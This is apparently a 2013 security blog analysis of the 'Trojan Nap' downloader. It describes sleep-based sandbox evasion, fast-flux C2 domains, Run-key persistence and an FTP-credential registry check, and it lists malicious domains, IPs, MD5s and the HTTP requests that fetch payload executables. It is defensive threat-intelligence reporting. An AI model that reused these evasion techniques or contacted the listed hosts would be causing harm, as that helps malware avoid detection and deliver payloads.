[Update: February 14, 2013] We recently encountered a stealthy malware that employs extended sleep calls to evade automated analysis systems capturing its behavior. It further makes use of the fast flux technique in order to hide the identity of the attacker controlling it. We call it Trojan Nap. The purpose of this blog is to share the technical details of the execution steps by Nap.
Figure 1. Malicious domain and the downloadable executable
When the malicious code gets executed, as shown in Figure 1, it sends an HTTP request to the domain "wowrizep.ru" requesting the file "newbos2.exe."
Figure 2. Code of NAP making sleep call
After this, per the code in Figure 2, a call to SleepEx() with 0x0927C0 as its timeout parameter and the alterable value set to false are made. The value 0x0927C0 resolves to 600,000 milliseconds or, in other words, resolved to a 10-minute timeout. By setting the alterable to false, the malware ensures that the function does not return until the timeout period has elapsed. Since automated analysis systems are configured to execute a sample within a specified time frame, by executing a sleep call with a long timeout, Nap can prevent an automated analysis system from capturing its malicious behavior. Besides making a call to the function SleepEx(), the code also makes a call to the undocumented API NtDelayExecution() for performing sleep.
When the code of Trojan Nap is executed in a controlled environment, the behavior is pretty much the same as when it was observed executing the code in a debugger. As shown in Figure 3, the DNS request is sent to the domains wowrizep.ru and cagremub.ru.
Figure 3. DNS request generated for the domains.
After receiving the DNS reply, a GET request is sent to the domain to fetch the newbos2.exe file as shown in Figure 4.
Figure 4. GET request generated by the NAP
The two domains, "wowrizep.ru" and "cagremub.ru," appear to be a part of the fast flux network. Normally, fast flux networks are used when the attacker wants to be extra careful to hide their identity. In contrast to a typical fast flux setup where multiple IPs are returned in a DNS response, this one returns a single IP, which looks like another attempt to appear normal. As shown in Figure 5, when the domain is resolved multiple times (10 seconds apart), each time the domain's resolution resulted in a different IP. The IPs are most probably zombies acting as front-end flux agents giving cover to the actual botherder.
Figure 5. Resolution of the domains
Table 1 shows some of the IPs for the domain wowrizeep.ru. These IPs are spread across the globe. Almost each IP is in a different country.
| IP Address | Location |
|---|---|
| 87.110.154.119 87.110.154.119 | LATVIA, RIGA LATVIA, RIGA |
| 151.0.53.22 151.0.53.22 | UKRAINE, DONETS'KA OBLAST', MAKIYIVKA UKRAINE, DONETS'KA OBLAST', MAKIYIVKA |
| 111.252.26.52 111.252.26.52 | TAIWAN, PROVINCE OF CHINA, T'AI-WAN, TAIPEI TAIWAN, PROVINCE OF CHINA, T'AI-WAN, TAIPEI |
| 66.212.137.147 66.212.137.147 | UNITED STATES, PENNSYLVANIA, PITTSBURGH UNITED STATES, PENNSYLVANIA, PITTSBURGH |
| 92.46.244.77 92.46.244.77 | KAZAKHSTAN, ALMATY CITY, ALMATY KAZAKHSTAN, ALMATY CITY, ALMATY |
Table 1. Resolution of the domain wowrizep.ru
As shown in Figure 6, a very low value of TTL (0) ensures that neither the intermediate DNS servers nor the end host caches the DNS/IP mapping. This way each time when
the domain is contacted by malware, it will be a new DNS lookup and the attacker can keep on providing new IPs.
Figure 6. TTL value for the domain wowrizep.ru
When the file newbos2.exe is downloaded from the domain wowrizep.ru and is executed, it adds itself in the registry key.
\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\"SonyAgent"=c:\newbos2.exe
The change to the registry key CurrentVersionRun ensures that the code gets executed each time when the computer is booted. It also makes use of the function RegOpenKeyExW() to check for the presence of the registry key SOFTWARE\Far\Plugins\FTP\Hosts.
Figure 7. Malicious code opening FTP registry keys
After the first execution the downloaded code resets the permission to hide itself and opens high TCP ports for listening. Some of the ports that we have observed are 49163, 49172, and 49175. It then communicates to the external domains. Some of the domains to which the communication goes are shown in Table 2.
| Host | Location |
|---|---|
| 178.132.114.43 178.132.114.43 | Moldova Republic Moldova Republic |
| 109.185.52.47 109.185.52.47 | Moldova Republic Moldova Republic |
| 37.72.19.10 37.72.19.10 | Spain Spain |
| 178.54.49.41 178.54.49.41 | Ukraine Ukraine |
| 87.119.71.48 87.119.71.48 | Bulgaria Bulgaria |
Table 2. Communication by downloader going to the external domain
To summarize, Nap is a malicious downloader. It uses the fast flux technique to hide the location/identity of the attacker. Coincidently, from the New York Times report, the malware used in the recent NYT breach also used a similar hiding technique where the attacker used the university computers as front-end agents and kept switching from one IP to another. Nap employs extended sleep calls, an anti-VM technique to avoid automated analysis systems capturing its behavior.
Using a long sleep is a classic technique used to stay under the radar of an automated analysis system. In addition to extended sleep calls to evade automated analysis, we have observed many techniques, like hooking to a mouse, that are actively being employed by the advanced active malwares. Our recently published article in Virus Bulletin's February 2013 issue discusses many of these techniques along with the APIs that are actively being employed by malware. In the near future we expect to see malware employing automated analysis evasion techniques combined with network evasion techniques to evade detection.
[Update: February 14, 2013]
In our previous post, we provided the technical details of Trojan Nap. Our fellow security researcher at Deep End Research has also shared their details related to the malicious activity by Trojan Nap.
The main purpose of the updated post is to share additional data that we have observed for this malware.
Based upon the telemetry, the domain wowrizep.ru and cagremub.ru seem to have been active since January 2013.
Below is the list of MD5s served from the domains:
| wowrizep.ru | 1039157d0694863c1941c706cd1d9e71 f1b9fa0e8a485c08d7a504821b853d7e 79a72be30c13249d87eb3d51f6b7af2b d80275fde17250f989c7aa09394c0393 8cac534bcd396d66bbd4b0651aeb8732 40c7e0c53acd6779d3653f6dc45c4828 c4b42e7edcfd463efd2d8f827b2593f9 30f5c6c815690012e110d0c60de5aca7 7041388c725e5bdf78ad305f172b6fdf e9f55e00bf8f6931e4f62d676b40810c 8146d2afef135a1a59d610fd527e4817 df9bd62536e3254ef6995de7830773b0 38ada6cbee2988891c25cd20d7ea04f8 0759b49f2293e4eee7cb95b5c12efba8 9bf584224c8e26f9e2435394a6cfbe5c 6b6b0a350847e650900f922f2607fdde 71f7d5e231ac8ce0af32328803d32d32 709d5ed8ffe87cf54600c9c8c4451869 30ef93958a5021852b99b01426e84bd1 00120935a9543ffcca90b72381a55d67 |
|---|---|
| cagremub.ru | e7785df6fc7a5857cea94834c6f137d5 7839f9ab0252cdba21d0d3cc57fd8f4c 1039157d0694863c1941c706cd1d9e71 0359797ef8bc85db6c758ee225c54f2c 5c11a528abe5f8d60b3d395c0bd9c059 076088cf02967b26e0024f159461e7aa 7f48c70f5ac0f1796758e756b34752a5 27500c9a93d023f941cd255ff6c52b6c 6fcc788b71a6bff749a5601734b89fe0 9f9f11ee2f9df12933fd776739f52962 51b9c8afc1055ae8e21cda8acfb2ef25 40e1ba37e21a95c490a8ddada08f4c85 d10ac93fa9ca61a83fedc5c979708797 b8c11ff465e2d4c68abb0d44b9a7c072 50493562b305d584771779f0d64bb3f6 |
Below is the list of the network headers that have been observed going to these two domains.
| Domain | Header |
|---|---|
| wowrizep.ru wowrizep.ru | GET /keybex3.exe HTTP/1.0 Host: wowrizep.ru GET /newbos2.exe HTTP/1.0 Host: wowrizep.ru GET /nothing.exe HTTP/1.0 Host: wowrizep.ru GET /instcod.exe HTTP/1.0 Host: wowrizep.ru GET hxxp://wowrizep.ru/calc.exe HTTP/1.1 Host: wowrizep.ru GET /rasta01.exe HTTP/1.0 Host: wowrizep.ru GET /keybex3.exe HTTP/1.0 Host: wowrizep.ru GET /newbos2.exe HTTP/1.0 Host: wowrizep.ru GET /nothing.exe HTTP/1.0 Host: wowrizep.ru GET /instcod.exe HTTP/1.0 Host: wowrizep.ru GET hxxp://wowrizep.ru/calc.exe HTTP/1.1 Host: wowrizep.ru GET /rasta01.exe HTTP/1.0 Host: wowrizep.ru |
| cageremu.ru cageremu.ru | GET /instcod.exe HTTP/1.0 Host: cagremub.ru GET /calc.exe HTTP/1.1 Host: cagremub.ru GET /moon002.exe HTTP/1.0 Host: cagremub.ru GET /newbos2.exe HTTP/1.0 Host: cagremub.ru GET /keybex3.exe HTTP/1.0 Host: cagremub.ru GET /instcod.exe HTTP/1.0 Host: cagremub.ru GET /calc.exe HTTP/1.1 Host: cagremub.ru GET /moon002.exe HTTP/1.0 Host: cagremub.ru GET /newbos2.exe HTTP/1.0 Host: cagremub.ru GET /keybex3.exe HTTP/1.0 Host: cagremub.ru |
Finally, here is the number of IPs resolving to domain wowrizep.ru and cagremub.ru:
| Domains | Number of IPs |
|---|---|
| wowrizep.ru wowrizep.ru | 5007 5007 |
| cagremub.ru cagremub.ru | 3156 3156 |
Additional Resources
